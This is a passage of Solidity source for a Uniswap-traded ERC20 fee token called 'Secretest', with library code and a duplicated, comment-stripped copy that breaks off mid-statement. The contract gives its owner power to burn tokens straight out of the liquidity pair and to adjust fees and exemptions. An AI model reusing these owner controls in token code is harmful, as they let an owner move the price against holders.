returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Secretest is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; uint256 public percentForLPBurn = 25; // 25 = .25% bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("SECRETEST", "TST") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 10; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 14; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e8 * 1e18; maxTransactionAmount = totalSupply * 1 / 1000; // 0.1% maxTransactionAmountTxn maxWallet = totalSupply * 5 / 1000; // .5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){ autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable deadAddress, block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool){ lastLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit AutoNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){ require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish"); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; // get balance of liquidity pair uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); // calculate amount to burn uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); // pull tokens from pancakePair liquidity and move to dead address permanently if (amountToBurn > 0){ super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } //sync price since this is not in a swap transaction! IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); pair.sync(); emit ManualNukeLP(); return true; } }
Anti-bot and anti-whale mappings and variables exlcude from fees and max transaction amount store addresses that a automatic market maker pairs. Any transfer *to* these addresses could be subject to a maximum transfer amount
contract Secretest is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public lpBurnEnabled = true; uint256 public lpBurnFrequency = 3600 seconds; uint256 public lastLpBurnTime; uint256 public manualBurnFrequency = 30 minutes; uint256 public lastManualLpBurnTime; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("SECRETEST", "TST") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 4; uint256 _buyLiquidityFee = 10; uint256 _buyDevFee = 1; uint256 _sellMarketingFee = 5; uint256 _sellLiquidityFee = 14; uint256 _sellDevFee = 1; uint256 totalSupply = 1 * 1e8 * 1e18; buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(msg.sender, totalSupply); } receive() external payable { } function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; lastLpBurnTime = block.timestamp; } function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } event BoughtEarly(address indexed sniper); function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= 